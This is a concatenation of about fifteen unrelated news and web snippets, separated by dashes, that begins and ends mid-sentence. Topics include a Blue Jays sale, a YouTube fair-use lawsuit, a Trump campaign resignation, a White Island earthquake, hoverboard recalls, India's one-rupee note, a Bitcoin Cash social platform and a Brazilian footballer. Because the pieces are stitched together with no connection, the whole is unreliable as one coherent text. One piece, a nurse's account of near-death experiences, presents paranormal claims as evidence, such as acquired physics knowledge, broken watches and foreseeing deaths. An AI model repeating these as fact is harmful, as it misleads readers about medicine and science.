Grand-Meyer and Dr Olga Suvorova tell Kim Hill they hope the project will make the Treaty more accessible to migrants who live here and encourage a better understanding of it internationally. Stefan Grand-Meyer is External Relations Advisor at the Translation Service, NZ Department of Internal Affairs, and a member of the NZSTI. Dr Olga Suvorova is the director of Russian Keys Ltd – a privately owned company specialising in Russian language and culture courses, certified translation and interpreting, and the president of the Wellington branch of the NZSTI. -TORONTO (Reuters) - Canadian telecom company Rogers Communications Inc is considering selling the Toronto Blue Jays Major League Baseball team in an effort to generate cash that could be used in its core business, the company’s chief financial officer said. Sep 27, 2017; Boston, MA, USA; Toronto Blue Jays right fielder Jose Bautista (19) is congratulated by first baseman Justin Smoak (14) after his two run home run against the Boston Red Sox during the first inning at Fenway Park. Mandatory Credit: Winslow Townson-USA TODAY Sports The Blue Jays were ranked by Forbes as the 16th-most valuable MLB team this year out of 30, worth $1.3 billion. Rogers should be able to sell it for about that sum, said Andrew Zimbalist, a sports economist with Smith College in Northampton, Massachusetts, who noted the team is in a large, wealthy city with a strong fan base. The Blue Jays were founded in 1977 and became back-to-back World Series champions in 1992 and 1993. Rogers, which operates cable TV and telecom service in Canada, bought 80 percent of the Blue Jays in 2000 and the remaining 20 percent in 2004, as part of a strategy to obtain broadcasting rights for what is Canada’s only remaining MLB team. The company, which has about $13 billion in outstanding debt, now figures it could make more sense to sell the team and license broadcast rights from a new owner, Rogers CFO Tony Staffieri told a UBS investor conference in New York on Tuesday. “We can get the exclusive content through renting it,” Staffieri said, according to a transcript from the event, adding that the company would “like to get the content without necessarily having the capital tied up on our balance sheet” but that no deal is imminent. He pointed to a C$5.2 billion ($4.1 billion) 12-year deal that Rogers signed in 2013 to broadcast National Hockey League games, elbowing out rival BCE Inc for rights to Canada’s most popular sport. A spokeswoman for Rogers, Sarah Schmidt, said on Wednesday that the company “would like to surface value and get credit” for its “terrific sports assets.” Staffieri did not say if Rogers is considering divesting a stake in the more popular Maple Leafs National Hockey League franchise that it obtained alongside BCE in 2011 for a combined C$1.32 billion.The league in September approved the $1.2 billion sale of the Miami Marlins, according to Forbes. A record $2 billion was paid for the Los Angeles Dodgers in 2012. Rogers Communications, which is controlled by Canada’s prominent Rogers family, is also looking to sell a C$1.5 billion ($1.2 billion) stake in Cogeco Inc and its subsidiary, a cable TV company with operations across the United States and Canada. ($1 = 1.2787 Canadian dollars) -Yesterday, news broke of a settlement and a sealed ruling by jury in the case initiated by Ray William Johnson against Jukin Media. At the outset, Johnson sued Jukin Media for inappropriately flagging his content and hitting him with copyright claims for clips used in his highly popular show “=3”. Jukin Media countered but did not win its attempts at getting a summary judgement from the presiding Judge Stephen V. Wilson. Summary judgement is a particular ruling in the courts that is decided upon by the judge according to terms of the law versus factual or evidentiary support, i.e. a judge can determine if an action was unlawful versus sending it to trial. In the Fall of 2015, Judge Wilson ruled against summary judgement pushing the case to trial. And so it commenced, this past Tuesday, March 1st in downtown Los Angeles. As we previously reported, Johnson and his legal team had the burden of proving that each of the 40 clips in question fell under the terms of Fair Use, specifically, as Johnson’s legal lead, Tom Vidal, noted during opening statements “in the comments and criticism” section of the Fair Use law, also citing parody as a reason Fair Use applied to Johnson’s show. (See below for a full list of Fair Use considerations that the jury had to follow). While on the opposing side, Jukin Media’s lawyer Jessica Grant pushed the jury to see Johnson as a thief who, despite claiming that his show was for entertainment and not for profit, was making money on the backs of individuals whose rights for revenue were being compromised by Johnson’s thievery. “This is a case where the creator takes a video, makes money from it and doesn’t pay a penny [to the owner],” she said in her opening statements. “Without these videos, his show wouldn’t even exist.” And that is the kicker to the entire case. Effectively, with this settlement, Ray William Johnson could no longer have a viable show format unless he decides to pay a licensing fee to every owner of the clips he uses in the show, going forward. His entire business model revolves around low production budget, high views, and in turn, high dollar margins from ad revenues. License fees cut the profits, not to mention the legal team needed to execute those agreements on behalf of the show. Since premiering the show, Johnson estimates that he’s used over 2000 clips in “Equals Three”, meaning he could also face dozens of residual suits for copyright violations for videos not sourced from the Jukin Media library. Further, as was presented in evidence from Jukin Media’s cross examination of Johnson in court, Jukin gave Johnson the option to pay a $350/clip license fee and he declined, noting that if he had to pay Jukin, he’d have to pay everyone else appearing on “=3”. Now, who’s the =3? (Sorry, had to. On we go.) “What this case should not become is who’s the good guy and who’s the bad guy. Whether he has good intent or bad intent is irrelevant,” said Judge Wilson in court. To a degree, especially for the jury purposes, Wilson was right. But Johnson is simply one example of a creator taking liberties to exploit the law and perhaps he’ll become the cautionary tale the open-web needs to finally put pressure on rampant violators. Take, for instance, SoFlo Antonio, a prankster who has generated quite a bad wrap amongst the YouTube community for stealing content and reposting as his own (see below video, or check out this Reddit thread, or speak to any MCN that represents YouTube creators). SoFlo has even been said to give source video owners fabricated contracts saying he owns rights to re-publish, monetize, and re-distribute those source videos anywhere on the web, according to one source who works at an MCN and has seen the fabricated contracts. What’s more is that when angry YouTubers tried to game SoFlo at his own pirating mastery, on Facebook no less, Facebook flagged the fake page, took it down and reallocated the views accumulated from that fake page to SoFlo’s authenticated fan page, according to one creator H3 Productions. Backwards? Seems so. And, for the often-times average Joes, who are having their content taken from SoFlo, it can be disarming to fight for rights, or to stand up to a “big creator.” According to one executive at an MCN, these situations happen all the time, especially within the prank category on YouTube. A creator knows the holes in YouTube’s system, and can not only exploit them, but also the source video creator. As YouTube, and other major media companies, have come forth to make statements in favor of backing creators, violators like SoFlo have begun to backoff. Various MCN’s in the space also confirmed that SoFlo has reached out to retain back-licenses for clips he’s used without permission. SoFlo’s videos have resulted in over 85 million views on YouTube and an estimated $20K a month in ad revenues. “Viral video owners get frustrated when they see their clips used without permission, and Jukin is here to help. We always try to work out a compromise when business disputes like this arise,” said Jonathan Skogmo in a statement. As the outcome of Ray William Johnson’s case against Jukin Media ripples across the YouTube creator community, one can only hope that he will become a legend in a new way — not as one of YouTube’s first mega-stars, but as one who had his business model jeopardized after misusing the Fair Use clause in the law. ____ FAIR USE CONSIDERATIONS: -Here’s the latest big thing everyone is talking about: Kathy Miller, who is the Donald Trump campaign’s chairwoman in the oh-so-crucial Mahoning County of Ohio, had harsh words to say about about President Barack Obama in a video that was posted to the Guardian‘s site today. That isn’t surprising, but her claim that he basically invented racism was. To review, here’s some of what she said in her interview: I don’t think there was any racism until Obama got elected. We never had problems like this … If you’re black and you haven’t been successful in the last 50 years, it’s your own fault. You’ve had every opportunity, it was given to you. You’ve had the same schools everybody else went to. You had benefits to go to college that white kids didn’t have. You had all the advantages and didn’t take advantage of it. It’s not our fault, certainly. You can imagine why there was a major outcry. Miller has now resigned. Here is the statement from the Ohio Trump campaign: That @realDonaldTrump Mahoning County, OH Volunteer Chair has resigned. “My personal comments were inappropriate, and I apologize.” pic.twitter.com/T4xX8Bd3IW — Candace Smith (@CandaceSmith_) September 22, 2016 Her replacement, Tracey Winbush, is a conservative radio host of color. [image via screengrab] Lindsey: Twitter. Facebook. Have a tip we should know? tips@mediaite.com -Welcome to The Secular Buddhist! This is the companion website to the podcast The Secular Buddhist, where we examine early Buddhist teaching and practice with a critical eye to its secular application. If this is your first time here, you may want to check out the Mission page for some specifics on what this podcast is about in a little more depth. The Secular Buddhist Association Most of the updating is now done on the Secular Buddhist Association website, where you can find all the podcast episodes and you can Comment about them, find blog articles, and participate in online Discussions. Hope to see you there! Facebook I've decided that the social portion of our adventure is best done on Facebook, so you're going to find a few FB-oriented links around the site: The one on the top navigation will simply take you directly to The Secular Buddhist FB page without having to become a fan. In addition, several pages have their own "Share This Page on Facebook" link below the page title; that's the one to use when you find a particular web page that you want to share with others, and that posting will be specific to that web page. Readers' Corner Well, less a Readers' Corner and more a Readers' Bottom of the Page. I will periodically post book recommendations here, based on the input of podcast listeners, which may be of interest in your practice. Books linked here can also be found in the Resources pages of this site, so don't worry if one you've seen previously isn't here anymore -- it's still available and on the site! Confession of a Buddhist Atheist This week's recommendation is Stephen Batchelor's Confession of a Buddhist Atheist, the new book that tells a more personal story of the author's progress in secular Buddhist practice. Description -- “Batchelor's Buddhism Without Beliefs (1997) described a secular approach to the Eastern philosophy stripped of doctrines such as karma and rebirth; how a young British monk ordained in the Tibetan tradition turned into a Buddhist atheist is revealed in this new book. On the dharma trail in India and Korea, and later as a lay resident at the nonsectarian Sharpham community in England, Batchelor was beset by doubts about traditional Buddhist teachings. Finally convinced that present-day forms of Buddhism have moved far beyond what founder Gotama had intended, Batchelor embarked on a study of the Pali canon (very early Buddhist texts) to find out what the Buddha's original message might have been. Batchelor's own story of conversion is woven effortlessly with his analysis of Buddhist teachings and a 2003 pilgrimage to Indian sites important in the Buddha's life. He is candid about his disillusionments with institutionalized Buddhism without engaging in another new atheist broadside against religion. While Batchelor may exaggerate the novelty of his Buddhism without beliefs stance, this multifaceted account of one Buddhist's search for enlightenment is richly absorbing.” -- From Publishers Weekly -A 4.6 magnitude earthquake has given the Eastern Bay of Plenty an early morning shake-up. The quake struck 25km northeast of White Island at 6.30am today, according to GeoNet. A 4.6 quake struck about 25km off White Island. Photo: GeoNet. It has a registered depth of 155km and is classified as “weak” in intensity by GeoNet. After posting the quake on their Facebook page, GeoNet immediately received numerous comments from people who felt the quake in Gisborne, Taradale, Opotiki and Dannevirke. On Monday at 4.22am there was a 3.3 magnitude quake at a depth of 7km, located 15km north west of the volcano. A resumed pattern of minor activity saw White Island’s alert level raised by GNS Science on Friday, with the aviation colour code changed from green to yellow. The alert level is 1, meaning there are signs of volcanic unrest. It followed an increase in volcanic tremor levels Thursday night and images of activity on the volcano cameras. The island resumed activity in July 2012, leading to explosive eruptions and ash emissions in August. A small lava extrusion occurred in November, followed by phreatic, steam driven activity in December which continued through January and February 2013. Very minor ash emissions have been interspersed throughout this eruption sequence as conditions within the craters have changed. -Amazon stops selling most "hoverboard" scooters SEATTLE, Wa. - One of the most talked-about gift items this holiday season has hovered off the digital shelves of Amazon.com. The company removed nearly all models of the popular "hoverboard" self-balancing scooters over the weekend, according to CNN Money. This comes after months of reports some models of the scooters can catch fire, which happened to an Ascension Parish family earlier this month. CNNMoney said self-balancing scooters from IO Hawk, PhunkeeDuck and others had been removed. Brands including Razor, Jetson, and Hover X still had their products listed for sale. One scooter manufacturer, Swagway, said Amazon sent out notices asking sellers to prove their scooters "are compliant with applicable safety standards, including UN 38.3 (battery), UL 1642 (battery), and UL 60950-1 (charger)." Swagway's model was one which Amazon pulled from sale, and the company said they have sent the required information to Amazon. Some major airlines banned them from flights last week because of the fire risk. Authorities in Britain declared in October the devices were illegal to ride in public, and a month later New York City authorities also banned them. Overstock also removed scooters from sale, though retailers including Walmart, Toys R Us, Sharper Image and eBay still had them available as of Monday. -Is this proof near-death experiences ARE real? Extraordinary new book by intensive care nurse reveals dramatic evidence she says should banish our fear of dying The Ascent of the Blessed, detail from a panel of an alterpiece of the Last Judgement. Historic texts are filled with accounts of near-death visions. Are they to be ignored so readily? As a nurse, I’m always cheered when I see a patient who appears to be making a good recovery. That certainly seemed the case with 60-year-old Tom Kennard, who’d been suffering from sepsis after surgery for cancer. After a couple weeks in the intensive care ward, he was well enough to be moved from his hospital bed to a chair. Moments later, however, he suddenly slumped into unconsciousness. There was no doubt at all that he was out cold. He responded neither to my urgent questions nor to the painful pressure of my Biro on his fingernails. Worse still, his skin became clammy, his oxygen levels dropped and his blood pressure plummeted — clear signs that his condition had become critical. As I quickly gave him extra oxygen, I called out to the other nurses in the intensive care unit. Four of them immediately flocked to Tom’s bedside, and we gently helped return him to his bed as we called for a doctor urgently. He was still unresponsive when the doctor arrived, followed a few minutes later by a consultant. Indeed, Tom didn’t regain full consciousness for another three hours. Yet, during those three lost hours, he had apparently gone on a life-changing journey. His first sensation, he told me afterwards, was of ‘floating upwards to the top of the room. I looked down and I could see my body on the bed. It was lovely, so peaceful — and no pain at all.’ In the next moment, the hospital ward had disappeared and he’d entered a pink room, in which his father was standing next to a man with ‘long black scruffy hair and nice eyes.’ For a time, Tom talked telepathically with his father. At some point, he became aware that something was touching him. Once again, he was back on the hospital ward ceiling — looking down at me and the doctor. I was putting a lollipop-shaped instrument into his mouth to clean it, he recalled later. He could also see a woman beyond the cubicle curtains, who kept twitching them to check on his condition. Indeed, I can personally verify that everything Tom ‘saw’ while unconscious was 100 per cent accurate — down to the swab I used to moisten his mouth and the names of the consultant and of the physiotherapist lurking behind the curtains. While all this was going on, Tom heard the man with the scruffy hair say: ‘He’s got to go back.’ This came as a blow: he remembers desperately wanting to stay. Shortly after that, he told me, ‘I was floating backwards and went back into my body on the bed.’ Fear: Is death so terrible that we need to mute it and delay it with drugs and machines? His pain was excruciating, but he could still vividly recall how peaceful he had felt in that pink room. ‘Pen,’ he told me, ‘if that’s death, it’s wonderful.’ This near-death experience had two significant effects on his life. First, Tom says, it completely removed any fear of dying. Even more extraordinary is what happened to his right hand, which had been frozen since birth into a claw-like position. (This had been noted on his hospital admission form, and his sister has since signed a statement confirming it.) Yet, in front of me, soon after his near-death experience, Tom opened and flexed that same hand. This should not have been physiologically possible, as the tendons had permanently contracted. What had caused this sudden, seemingly spontaneous healing? Even now, science has no answers. But when you study near-death experiences, as I have for the past couple of decades, you grow used to phenomena that defy all rational explanation. Take, for instance, the case of Fred Williams, a Swansea pensioner in his 70s who was suffering from the final stages of a terminal heart problem. One night in hospital, he lost consciousness and we feared he was about to die. But he somehow managed to keep his faltering grip on life. And when he eventually came to, I noticed at once that he looked very happy. My colleagues also remarked on this. All the time this was happening, I felt fine: full of joy, peaceful, gently floating towards brilliant light. By the following morning, Fred had recovered sufficiently to see his anxious relatives. To their astonishment, he told them that he’d been visited — while unconscious — by his mother and grandmother, both of whom were dead, as well as by his (living) sister. They’d just stood by his bedside, keeping vigil. ‘I couldn’t understand why my sister was there as well,’ he remarked. Unknown to him, his sister had actually died the week before. Fearing the news might jeopardise his recovery, his family had kept it from him. Poor Fred never learned the truth, and died a week later. But possibly the most extraordinary case I know of personally is that of a Moroccan woman in her late 30s, who ran a clothes business. In November 2009, Rajaa Benamour had an anaesthetic injection for minor surgery, after which she found herself mentally scrolling through her entire life, right back to her birth. This was followed by what she could only describe as a rapid review of the creation of the universe. After being discharged from hospital, she started trying to find books about what she’d learned during her vision. Eventually, she realised that she had somehow acquired an in-depth understanding of quantum physics — despite never having previously known anything about the subject. This motivated her to study the subject at university level. The professor in charge of her studies was astounded. The knowledge she’d already acquired, he said, could not have come either from studying student textbooks or taking a quick course. Stranger still, he was puzzled by some of her scientific theories — yet they’ve since been confirmed by papers published in physics journals. Penny Sartori began her eight-year study as a cynic. But by the time it ended, she was convinced that near-death experiences are a genuine phenomenon As a staff nurse who’s worked in intensive care at British hospitals for 17 years, I’ve seen thousands of patients die. Some were heavily drugged or hooked up to numerous machines; many were no longer able to speak. Back in 1995, I began to wonder: is death so terrible that we must do everything in our power to delay it with powerful drugs and machines? What is death, anyway? What happens when we die? Why are we so afraid of it? So I began reading about death — and eventually came across the concept of near-death experiences, or NDEs. People who’d experienced these strange and intense visions all seemed to be saying the same thing: death is nothing to fear. Could they be right? My scientific training told me that NDE’s were almost certain to be hallucinations. Or wishful thinking. But, in the end, I decided to embark on a PhD on near-death experiences, while continuing to work in intensive care. I began my eight-year study as a cynic. But by the time it ended, I was convinced that near-death experiences are a genuine phenomenon. So what exactly is a near-death experience? At its simplest, it’s a clear and memorable vision that occurs when people are close to death — though only a small percentage of us will have one. Researchers now agree that each vision will contain at least one of several recognised components, such as travelling down a tunnel towards a bright light, meeting dead relatives, or having an out-of-body experience. As the person ‘leaves’ his body, he may hear a buzzing, whistling, whirring or humming sound, or a click. Another common component of NDEs is a beautiful garden with lush green grass and vividly coloured flowers. There may be a stream or river in the background. Some people enter the garden, while others reach a gate or barrier — and know that they’ll die if they go through it. Throughout an NDE, hearing and sight become more acute, and awareness is heightened. Often, the experience has been described to me as ‘realer than real’. As oxygen levels reduce in the blood, the brain becomes increasingly disorientated, confused and disorganised. Time ceases to have meaning. In many cases, it feels as if the vision has lasted for hours though the person may have been unconscious for only a few seconds or minutes. Sometimes, it feels as if time speeds up; sometimes it goes slower. After I started talking in public about my own work, hundreds of NDE survivors started writing to me with their own personal tales — and all of them had similar elements. Far from being attention-seekers, most of the people I interviewed had previously told only one or two people what had happened to them. Indeed, it’s often the case that people who’ve had NDEs are afraid of being ridiculed or disbelieved. Some who’ve reported an NDE have been misdiagnosed as having a psychiatric illness — often post-traumatic stress. And I know of one woman who was told she had unresolved emotional conflicts and ordered to take tranquilisers. Yet NDEs are not a new phenomenon at all; they’ve been reported throughout history. They also feature in some of the greatest books in history — including the Bible; The Republic, by the ancient Greek philosopher, Plato; and the Tibetan Book of the Dead, an ancient religious text about the interval between life and rebirth. It’s only in the past few decades, however, that scientists have tried to discover what causes NDEs. The most common theory is that they’re a quirk of the brain when it’s starved of oxygen. But this now seems extremely unlikely. As oxygen levels reduce in the blood, the brain becomes increasingly disorientated, confused and disorganised. I’ve witnessed this happening many times. And I can assure you that when most patients regain consciousness, they’re usually dazed and bewildered. This is in complete contrast to those who’ve had an NDE. With great clarity, they report structured experiences that, in many cases, remain vivid in their minds for decades. In other words, not at all what one would expect from a disorganised brain with greatly reduced blood flow. In any case, if near-death experiences are due to lack of oxygen, then all patients who had a cardiac arrest would have one. In fact, they do seem more likely than anyone else to have an NDE — but even in this group, the experience is comparatively rare. Researchers agree each vision will contain at least one of several recognised components, such as travelling down a tunnel towards a bright light, meeting dead relatives, or having an out-of-body experience In my own study, for instance, just 17.9 per cent of people who survived a heart attack had been through an NDE. Another nail in the oxygen theory is that two patients in my own study actually had blood extracted at the time of their near-death experience. Their oxygen levels were perfectly normal. Could NDEs, instead, be a side-effect of high levels of carbon dioxide in the blood, which can be another sign of approaching death? Again, unlikely. Although patients with high carbon dioxide levels can have out-of-body experiences and feel euphoric, their muscles twitch and jerk spasmodically while this is happening. That does not occur during a near-death experience. Are NDEs merely hallucinations caused by drugs? Clearly not — as 20 per cent of the patients in my sample, including Tom Kennard, had received no drugs at all. Indeed, when I analysed my research, I found that pain-killing and sedative drugs, particularly at high levels, seem to make it less likely that a patient will have an NDE. In other words, well-meaning doctors who over-sedate dying patients may be denying them a natural and comforting final vision. Furthermore, I also interviewed 12 patients who’d had drug-induced hallucinations. These were random and often frightening — such as being chased and stabbed with needles by drug dealers — but they bore absolutely no relation to NDEs. Another theory is that near-death experiences are caused by endorphins, the opiates made by the body itself. But long-distance runners have high levels of endorphins — and none of them have experiences comparable to NDEs. Moreover, if the body releases endorphins when we die, you’d expect everyone close to death to have a near-death experience. Nor is it at all likely that NDEs are merely a kind of wish fulfilment, as it is sometimes suggested. Well-meaning doctors who over-sedate dying patients may be denying them a natural and comforting final vision Most occur when a patient is taken ill unexpectedly, rather than contemplating their own death — so the individual simply doesn’t have time to think about what’s happening. One thing is clear: research has shown that near-death experiences often lead to a spiritual reappraisal. Some people undoubtedly become more religious after experiencing one — in a few cases even training for the priesthood. Others feel that their particular religion no longer adequately supports what was ‘revealed’ or felt during their NDE. Regardless of what they believe, though, they generally become more considerate of others. Marie-Claire Hubert, a nurse who had an NDE when she was hospitalised with meningitis, went through a tunnel and emerged to find dead family members, former patients and even long-dead pets. Now, she says: ‘I know for certain we do meet our loved ones eventually. It’s made me a better person and I try to do at least five kind things a day for other people.’ For some, their experience of what has been described as ‘unconditional love’ makes them re-evaluate what they do with their lives. Quite a few have actually retrained to become nurses or doctors or started doing voluntary work in a hospice. Pam Williams from Swansea had an NDE when she haemorrhaged after childbirth. While unconscious, she ‘saw’ a doctor bang on her chest, breathe into her mouth and insert a needle into her heart. ‘All the time this was happening, I felt fine: full of joy, peaceful, gently floating towards brilliant light. ‘Suddenly, in the distance, I heard my eldest daughter shout, “Mam”. I remember thinking, ‘Oh dear, Jacquie needs me,’ and I came back with a jolt. ‘I’m not a religious person but I [now] believe there’s a warm, peaceful, beautiful place after death.’ At the time of her NDE, Pam was an uneducated miner’s wife with four children. Afterwards, she says, she felt ‘a need to help and support others’ — so she trained as a nurse and, ten years later, became a sister on the coronary-care unit of a hospital in Sheffield. One woman has stopped wearing watches because they no longer work on her wrist. Another 'blows' light bulbs regularly Two lesser-known after-effects of NDEs — reported by many researchers — are that some people develop a new sensitivity to electricity or have problems with their wristwatches. Sometimes they don’t even connect the fact that their watch can’t keep time — or stops altogether — with what they’ve been through. When I started asking the people I was researching if they’d experienced this, I discovered that many had. One was a nurse — a colleague who’d had an NDE — who told me she’d stopped wearing watches after her own experience as they invariably didn’t work. Those who’d had particularly intense NDEs reported even more problems. One woman told me that she ‘blows’ light bulbs regularly when switching them on — so much so that this has become a standing joke in her family. ‘I’ve also been thrown backwards and right across a room several times when using or touching electrical appliances,’ she said. Disturbing in a different way were accounts from people who’d developed psychic tendencies after having a near-death experience. One woman told me she could subsequently foresee ‘bad things’ that were going to happen, and even predict when people were going to die. This has so traumatised her that she now rarely goes out — and then only when wearing headphones so that she can play loud music to distract her from her thoughts. A colleague of mine who had a NDE at nine years old claims to have similar powers. She says that ever since her vision, she’s been able to ‘read other people’s minds’ — which distresses her because she feels it’s morally wrong. Can all these people — and the many more that I’ve interviewed — be delusional? Or could there be far more to approaching death than scientists have ever acknowledged? -From my brother, via e-mail, “I cant decide if this (login required @ NYT)is somewhat disturbing or incredibly disturbing. Oh, wait — it’s incredibly disturbing.” The NYT’s Jennifer Steinhauer reports on an Explorer Scout program, indoctrinating training American youths — some as young as 13 and a half — to preserve the Empire, which of course means learning how to shoot brown people from poor countries trying to make a better life for their families and learning how to destroy lives by perpetuating the war on drugs. Explorers were instructed on how to quiet an obstreperous lookout. “Put him on his face and put a knee in his back,” a Border Patrol agent explained. “I guarantee that he’ll shut up.” “Cathy Noriego, also 16, said she was attracted by the guns. The group uses compressed-air guns — known as airsoft guns, which fire tiny plastic pellets — in the training exercises, and sometimes they shoot real guns on a closed range. “I like shooting them,” Cathy said. “I like the sound they make. It gets me excited.”” Children, malleable minds, lured by the sound of gunfire. Hell in a motherf*cking handbag. There’s some sick irony when teenagers with surnames like Noriego are learning how keep people, who were unfortunately born on the “wrong” side of some arbitrary and purely imaginary line, out of their country. And I can’t help but think that many of these children wouldn’t be here today if there had been a draconian border policy a cenutry or two hence in order to preserve America’s “Manifest Destiny”. -One of the toughest jobs in the Twins organization belongs to play-by-play announcer Dick Bremer, the television voice who has been your guide to almost every game of the Twins' disastrous play so far this season. Last week, Bremer talked with Fargo radio personality and newspaper columnist Mike McFeely about what it's been like to bear public witness to the losing streaks and lousy play. Bremer said that during the homestand before the current one, a Twins player whom he opted not to name, confronted him about some of what's been said on the air. McFeely quoted Bremer as saying: “I make it a practice to go in the clubhouse every day and go down on the field, so if a player has a complaint about something I’ve said on television they have that opportunity. I was confronted in the clubhouse in the last homestand. I didn’t say what I wanted to say, which was, ‘Well, play better and the commentary will be more positive.’ You can’t mask the fact this team is a quarter of the way through the season with 10 wins.” That's currently 11 victories, of course, as opposed to 32 losses -- for a historically bad start in franchise history. Bremer and McFeely also talked about last Tuesday's game at Detroit, when commentator Bert Blyleven criticized Brian Dozier after a failed at-bat and questioned why Phil Hughes left the game after six innings even though he had thrown only 75 pitches. The "shoulder fatigue" response from Hughes hadn't yet been publicized, and Blyleven's curiosity mirrored what many Twins fans watching the game were thinking. McFeely wrote: "The bad baseball continued Wednesday in another (of course) loss to the Tigers. The Twins made three errors and committed a number of other miscues. Front and center was left-fielder Eddie Rosario, who was pulled from the game in the seventh inning after trying to steal third base with the Twins down four runs. Earlier, Rosario missed a cutoff man and it led to a Tigers run. "I asked Bremer how he straddles the line of being a team guy and needing to point out mistakes." You can read his answer, as well as McFeely's complete blog post, here. -After a brutal election cycle, with no shortage of condemnation surrounding Hillary Clinton’s “damn emails” and calls for repealing Obamacare, Donald Trump appears to be taking a few steps back from the tone of his inflammatory campaign—for now. While speaking with The Wall Street Journal, he admitted that after speaking with President Barack Obama on Thursday, he would reconsider his campaign promise to immediately repeal and replace Obamacare. "Either Obamacare will be amended, or repealed and replaced," he said in the interview which aired Sunday morning. He said that Mr Obama encouraged him to reconsider while they met for 90-minutes in the Oval Office. "I told him I will look at his suggestions,” he continued, “and out of respect, I will do that." We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras. Mr Trump explained that he would try to retain the measure that allows citizens to stay on their parent or guardian’s health insurance plan before they reach the age of 26. "We're going to very much try to keep that,” he later told 60 Minutes on CBS, which airs on Sunday night. “It adds cost but it's very much something we're going to try to keep.” Just one day before the election, Mr Trump told his audience to “look at the mess” and “the corruption” in Washington and that America would experience “real change” when immediately repeals and replaces “the disaster known as Obamacare." In both interviews, the presidential-elect, who's often criticized for his treatment of women, both in his business practices and in his personal life, seemed to drop his clear resentment of Ms Clinton and admitted that prosecuting and jailing her over her use of a private email server is not a top priority for his administration. “It’s not something I’ve given a lot of thought, because I want to solve health care, jobs, border control, tax reform,” he told the Journal. In the 60 minutes broadcast, he said that the call in which Ms Clinton conceded was “lovely.” “She’s very strong and very smart,” he said, adding that he was also congratulated by Bill Clinton. “He couldn’t have been more gracious. He said it was an amazing run. One of the most amazing he had ever seen.” The president-elect’s new tone will unlikely have an effect on the growing anti-Trump demonstrations across the country, which seek to address the Republican's inflammatory comments toward women, Muslims, Hispanics, and African-Americans on the campaign trail. Mr Trump has not yet made any attempts to backtrack on the remarks he made on the campaign trail and when the Journal asked if his tactics were inappropriate, he simply replied by saying, “No. I won.” We’ll tell you what’s true. You can form your own view. At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads. Subscribe now -New Delhi: After a gap of over 20 years, Re 1 note has been released in the country and it bears the signature of Finance Secretary Rajiv Mehrishi. Incidentally, the note was released at Shrinathji temple in Nathdwara, Rajasthan, on March 6 by Mehrishi. Other currency notes in India bear the signature of RBI governor. Earlier last week, RBI had said that it will soon put into circulation one rupee currency notes and would be legal tender as provided in The Coinage Act 2011. Alongwith the circulation of new Re 1 notes, the existing currency notes of the same denomination will also continue to be legal tender. The re-launched one rupee notes will be made up of 100 per cent cotton rag content. It will weigh 90 grams per square metre and have thickness of 110 microns. As watermarks, it will bear Ashoka Pillar symbol in the window without words 'Satyamev Jayate', carry a hidden numeral in the centre while hidden word Bharat (in Hindi) will be on the right hand side of the note. The colour of one Rupee Currency Note is predominantly pink green on obverse and reverse in combination with others. On the obverse, the note carries bilingual signature of Mehrishi. In November 1994, printing of Re 1 note was stopped mainly due to higher cost and for freeing capacity to print currency notes of higher denomination. Printing of Rs 2 and Rs 5 notes too were discontinued in 1995. Since then, only coins have been issued for these denominations. -JERSEY CITY -- Three teens were arrested today in the Journal Square section of Jersey City by Hudson County sheriff's officers on their way to the county courthouse on Newark Avenue, authorities said. The sheriff's officers had dropped a prisoner off at the Hudson County jail in Kearny and turned onto Pavonia Avenue when they saw 75 to 100 teens "in a scuffle" outside the McLaughlin Funeral Home at about 3:30 p.m., Hudson County Sheriff's Office spokesman Mike Makarski said. A 16-year-old boy and a 17-year-old boy who were fighting were arrested and charged with civil assault and obstruction of justice, Markarski said. A third boy, 16, fled from sheriff's officers and he was charged with obstruction of justice. All three were to be released to their parent or legal guardian. An 18-year old victim sustained a minor injury to his left ear during the scuffle. He received medical attention from EMTs at the scene and he was released. -Reward-based Social Media Platform Yours Switches from Litecoin to Bitcoin Cash On August 22 the creator of the Yours network, Ryan X Charles, announced his blockchain based media platform is switching over from litecoin to bitcoin cash. The team just recently switched from the legacy bitcoin chain to litecoin because of the protocol’s inability to process micro-transactions. Also read: Bitcoin Software Wars: The Battle Between Nodes, Hashpower, and Developers The Yours Network Switches from Litecoin to Bitcoin Cash for Cheaper Micropayments This week Ryan X Charles surprised the cryptocurrency community with a new announcement. The creator of the Yours network explained his development team decided the other day they would be going “full on-chain” with the bitcoin cash protocol. Yours is a social media application that gives micro-payment incentives for content such as articles with pictures, stories, audio, and video. When Charles revealed the soft launch of Yours two months ago, he said he had difficulty with micro-transactions because of bitcoin’s fees. After the soft launch, the development team decided to utilize litecoin with the platform to lessen network fees and created a better experience for users. Charles changed his mind again and says he’s excited to switch to bitcoin cash because it will allow all the “product experiments we’ve been dreaming of.” “We’re going to be the biggest company on bitcoin cash in three weeks,” explains Charles. ‘Reducing Code Complexity by Going On-Chain’ Following the announcement, news.Bitcoin.com reached out to Charles and asked him why they switched from litecoin to bitcoin cash. “Litecoin has fees of about five cents and no plan to scale on-chain,” Charles explains. “Litecoin will eventually face the same problem as bitcoin. We spent over a year developing a trustless payment channel network similar to the Lightning Network except it’s not dependent on Segwit. We’ve realized that we can dramatically reduce our code complexity by going on-chain with bitcoin cash. We then asked the Yours developer if the platform’s users will see a bitcoin cash implementation in three weeks. “You will see it a lot sooner than three weeks,” Charles details. In addition to keeping the platform on-chain, the developer explains that the Yours protocol can reduce its code size by at least 10x. “We were able to archive our micro-payments system – we don’t currently need it on BCC. We can broadcast our transactions on-chain with low fees, even just one cent,” Charles tells news.Bitcoin.com. The Yours Creator Wishes Bitcoin the Best of Luck As for bitcoin and the protocol’s upcoming Segwit implementation the Yours developer says he hopes it all works out. “We wish them the best of luck. Unfortunately, bitcoin fees are too expensive for us, even with payment channels, because the cost of onboarding and offboarding users is too high,” Charles adds. What do you think about the Yours network implementing bitcoin cash instead of litecoin? Let us know in the comments below. Images via Shutterstock and Yours. Need to calculate your bitcoin holdings? Check our tools section. -– Cara, por que você parou bem? Você poderia continuar jogando! A frase acima faria parte de um diálogo entre José Roberto da Silva Júnior, o Zé Roberto, com ele mesmo, diante do espelho, no início desta temporada. Campeão da Copa do Brasil pelo Palmeiras em dezembro do ano passado, o veterano pensou em voltar atrás no contrato de renovação assinado com o clube – que vai até o fim de 2016. Tomou coragem, deu sequência, e hoje é titular do Verdão, líder do Campeonato Brasileiro. Não ter 